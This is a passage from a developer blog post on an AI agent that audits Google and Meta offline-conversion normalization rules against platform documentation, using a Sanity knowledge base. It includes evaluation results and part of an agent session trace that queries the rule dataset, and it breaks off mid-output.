&lt;th&gt;Case group&lt;/th&gt;
&lt;th&gt;Full agent&lt;/th&gt;
&lt;th&gt;Knowledge base only&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Values whose digest Meta prints on its page (3)&lt;/td&gt;
&lt;td&gt;3 / 3&lt;/td&gt;
&lt;td&gt;3 / 3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Values whose digest has to be computed (3)&lt;/td&gt;
&lt;td&gt;3 / 3&lt;/td&gt;
&lt;td&gt;0 / 3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Refusals (3)&lt;/td&gt;
&lt;td&gt;3 / 3&lt;/td&gt;
&lt;td&gt;3 / 3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rule questions (5)&lt;/td&gt;
&lt;td&gt;4 / 5&lt;/td&gt;
&lt;td&gt;4 / 5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;13 / 14&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;10 / 14&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hex digests the model wrote itself&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The knowledge base alone gets the rules right and even the digests a platform prints, which the baseline copied straight out of the entry. Every other digest needs the tool: without it the model did not invent one, it declined, which is honest and useless for an upload.&lt;/p&gt;

&lt;p&gt;Both modes failed the same case. Asked what to send for the Brazilian CEP &lt;code&gt;24020-005&lt;/code&gt;, the full agent said the tool sends it unchanged and that the documentation does not settle whether &lt;code&gt;-005&lt;/code&gt; counts as an extension, and it would not recommend a value. That is a fair answer and still a fail, because the case asks for a recommendation and I fixed the criteria before the run. An earlier build of the knowledge base, the one that invented "5-digit equivalents", had the agent recommend cutting the CEP to &lt;code&gt;24020&lt;/code&gt;; I would take the refusal over that every time.&lt;/p&gt;

&lt;p&gt;The grader went through three versions, and each result file records its version. Version 2 replaced "no unexpected digest" with provenance and forbade any digest in a refusal; version 3 tightened the rule-case patterns against counterexamples an adversarial review wrote to break them, and those counterexamples are now tests. Rule cases are still keyword checks, so every graded answer is published next to the results.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sanity Project Details
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Project ID: &lt;strong&gt;h3njchfh&lt;/strong&gt;, dataset &lt;code&gt;production&lt;/code&gt; (&lt;code&gt;normalizationRule&lt;/code&gt;, &lt;code&gt;implementationProfile&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Studio: &lt;a href="https://conversion-preflight.sanity.studio/" rel="noopener noreferrer"&gt;conversion-preflight.sanity.studio&lt;/a&gt; (the dataset is private, so the documents show to project members)&lt;/li&gt;
&lt;li&gt;Knowledge base: "Offline conversion imports: Google and Meta" (&lt;code&gt;kb6kEFy3JtbM&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Agent Session
&lt;/h2&gt;

&lt;p&gt;A run of the agent itself, not of the build: the audit, from the request to the answer. It reads the knowledge base outline, pulls every rule from the dataset with two GROQ queries, reads both normalization entries, and sorts what it finds. On the final version it found no undeclared disagreement between the code and the documentation, only entries whose summary differs from the quoted page.&lt;/p&gt;


&lt;div class="ltag-agent-session"&gt;
  &lt;div class="agent-session-header"&gt;
    
    &lt;span class="agent-session-tool-icon-badge" title="Claude Code"&gt;
&lt;/span&gt;
    &lt;span class="agent-session-title"&gt;conversion-preflight: auditing the code against Google and Meta docs with Sanity Context&lt;/span&gt;
      &lt;span class="agent-session-model-badge"&gt;claude-sonnet-5-5&lt;/span&gt;
  &lt;/div&gt;

  &lt;div class="agent-session-scroll"&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Audit the implementation against the documentation, for both platforms.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
              &lt;div class="agent-session-tool-call"&gt;
                
                  &lt;span class="agent-session-chevron"&gt;▸&lt;/span&gt;
                  &lt;span class="tool-name tool-name-mcpsanitycontextinitialcontext"&gt;mcp__sanity-context__initial_context&lt;/span&gt;
                    &lt;span class="tool-input-preview"&gt;{}&lt;/span&gt;
                
                &lt;div class="agent-session-tool-detail"&gt;
                    &lt;div class="tool-section"&gt;
                      &lt;div class="tool-section-label"&gt;Input&lt;/div&gt;
                      &lt;pre class="agent-session-pre highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
                    &lt;/div&gt;
                    &lt;div class="tool-section"&gt;
                      &lt;div class="tool-section-label"&gt;Output&lt;/div&gt;
                      &lt;pre class="agent-session-pre"&gt;&lt;code&gt;# Conversion import preflight: Context

## Context Instructions

Answer only from the knowledge base. Every rule you state names the platform it belongs to (Google or Meta) and the entry it came from. Google and Meta normalize customer data differently: never apply one platform's rule to the other. If the knowledge base does not cover the question, say so instead of guessing.

## Efficiency

Prefer well-constructed queries over multiple exploratory calls.

## Accuracy

Only state what the data explicitly says. Don't infer, extrapolate, or connect dots that aren't there. Every claim should be grounded in content you retrieved.

If your query results are incomplete:
- Answer with what you found
- Be explicit about what's missing rather than guessing

When uncertain, acknowledge it. Better to say "I'm not certain" than to confidently state something wrong.

## Tools

- **knowledge_base_read**: Read full entries from a knowledge base by its id and entry paths (both shown in the Knowledge bases outline below).
- **knowledge_base_search**: Keyword-search a knowledge base's entry content and get ranked entry paths with scores. Use it when the outline alone does not tell you where an answer lives, then read the winning paths with `knowledge_base_read`.


# Knowledge bases

Knowledge base id: `kb6kEFy3JtbM`

## Offline conversion imports: Google and Meta — Engineers sending closed deals from a CRM to Google (Data Manager API, Google Ads offline conversions and enhanced conversions for leads) and to the Meta Conversions API ask here before they upload. Lead with: which endpoint a new account must use, how each platform wants email, phone and name normalized and hashed, and where the two platforms' rules differ. Each platform's rules apply to that platform only, so a difference between Google and Meta is expected and is not a conflict. Keep every qualifier of a rule and the pages' worked examples as written, and add no limit a page does not state. Leave out: campaign strategy, bidding, pricing and reporting screens.
7 entries.

endpoint_selection [core]

google/data_manager_api

google/diagnostics

google/payload_construction [core]

meta/payload_construction [core]

normalization_and_hashing/google [core]

normalization_and_hashing/meta [core]&lt;/code&gt;&lt;/pre&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
              &lt;div class="agent-session-tool-call"&gt;
                
                  &lt;span class="agent-session-chevron"&gt;▸&lt;/span&gt;
                  &lt;span class="tool-name tool-name-mcpsanitydatasetgroqquery"&gt;mcp__sanity-dataset__groq_query&lt;/span&gt;
                    &lt;span class="tool-input-preview"&gt;{"query":"*[_type == \"normalizationRule\"]{platform, field, param, hashed, i...&lt;/span&gt;
                
                &lt;div class="agent-session-tool-detail"&gt;
                    &lt;div class="tool-section"&gt;
                      &lt;div class="tool-section-label"&gt;Input&lt;/div&gt;
                      &lt;pre class="agent-session-pre"&gt;&lt;code&gt;{"query":"*[_type == \"normalizationRule\"]{platform, field, param, hashed, implemented, implementation, docQuote, \"sourceUrl\": source.url, kbEntry, docExamples[]{input, normalized, sha256, diverges...&lt;/code&gt;&lt;/pre&gt;
                    &lt;/div&gt;
                    &lt;div class="tool-section"&gt;
                      &lt;div class="tool-section-label"&gt;Output&lt;/div&gt;
                      &lt;pre class="agent-session-pre highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"meta"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"executedQuery"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*[_type != &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;sanity.agentContext&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; &amp;amp;&amp;amp; (_type in [&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;normalizationRule&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;implementationProfile&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;]) &amp;amp;&amp;amp; _type == &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;normalizationRule&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;]{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;platform&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: platform, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;field&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: field, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;param&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: param, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;hashed&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: hashed, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;implemented&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: implemented, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;implementation&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: implementation, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;docQuote&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: docQuote, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;sourceUrl&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: source.url, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;kbEntry&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: kbEntry, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;docExamples&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: docExamples[]{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;input&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: input, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;normalized&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: normalized, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;sha256&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: sha256, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;diverges&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: diverges, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;_id&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: global::coalesce(_originalId, _id)}, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;divergences&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: divergences, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;_id&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: global::coalesce(_originalId, _id)}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"perspective"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"published"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"resultCount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"returnedCount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"result"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-google-city"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Used only for Google Analytics. The city of the user's address. Convert to lowercase. Remove symbol characters. Whitespace: Trim leading and trailing whitespace. Hashing: Don't hash city."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"city"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Not implemented. The tool returns not_implemented for this pair."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"city"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.google.com/data-manager/api/devguides/concepts/formatting"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-google-country"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"A two-character ISO-3166-1 alpha-2 code. Whitespace: Trim leading and trailing whitespace. Hashing: Don't hash region_code."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"country"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Accepts exactly two ASCII letters after trimming and uppercases them. Refuses full names rather than translating. Never hashed."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"region_code"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.google.com/data-manager/api/devguides/concepts/formatting"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-google-email"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"diverges"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cloudy.sanfrancisco+shopping@gmail.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"normalized"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cloudysanfrancisco@gmail.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"sha256"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"diverges"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user.name+NYC@Example.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"normalized"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user.name+nyc@example.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"sha256"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Convert to lowercase. If the email address has the gmail.com or googlemail.com domain: Remove all dots (.) before the @ symbol. Remove the plus sign (+) from the local-part and remove all characters that follow it. [...] If the email address has a domain other than gmail.com or googlemail.com, don't remove dots or plus signs. Whitespace: Trim leading, trailing and intermediate whitespace. Hashing: Hash using the SHA-256 algorithm. Encode the hash bytes using hex or Base64 encoding."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Requires exactly one '@' and a dotted domain. Removes ASCII whitespace anywhere in the address, lowercases with str.lower, and for gmail.com and googlemail.com only removes every '.' in the local part and the '+' with everything after it."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
